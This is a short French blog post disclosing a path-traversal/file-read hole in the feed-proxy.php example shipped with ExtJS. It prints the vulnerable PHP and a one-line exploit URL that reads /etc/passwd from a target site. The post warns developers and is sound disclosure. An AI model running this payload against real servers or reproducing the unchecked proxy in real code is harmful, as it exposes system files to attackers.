ExtJS et sa petite faille de secu

Déjà un grand merci aux dev d'ExtJS de laisser une faille de sécu dans les exemples fournis avec le framework. Voila ca c'est fait. C'est une faille de sécu remontée depuis 2007, la version première d'ExtJS et qui traine là tranquillou billou depuis des lutres donc.
Je sais bien que de toute façon les gens bien ne mettent pas en prod le framework en laissant le répertorier contenant les examples ... mais bon on ne sait jamais, des fois que ...

La faille en question se situe dans le fichier examples/feed-viewer/feed-proxy.php, qui ressemble à ça :

  1. <?php
  2. // this is an example server-side proxy to load feeds
  3. $feed = $_REQUEST['feed'];
  4. if($feed != '' && strpos($feed, 'http') === 0){
  5. header('Content-Type: text/xml');
  6. $xml = file_get_contents($feed);
  7. $xml = str_replace('<content:encoded>', '<content>', $xml);
  8. $xml = str_replace('</content:encoded>', '</content>', $xml);
  9. $xml = str_replace('</dc:creator>', '</author>', $xml);
  10. echo str_replace('<dc:creator', '<author', $xml);
  11. return;
  12. }
  13. ?>

Ce qui avec un truc du style :

http://ledomaineduntypequejaimepas.com/ext-3.1.1/examples/feed-viewer/feed-proxy.php?feed=http../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd

... peut vous permettre d'afficher des trucs sympas.

Moi je trouve ca un poile abusé ... mais bon l'important c'est de le savoir.
Morale de l'histoire don't mess with internet et read da funckin' sources comme toujours.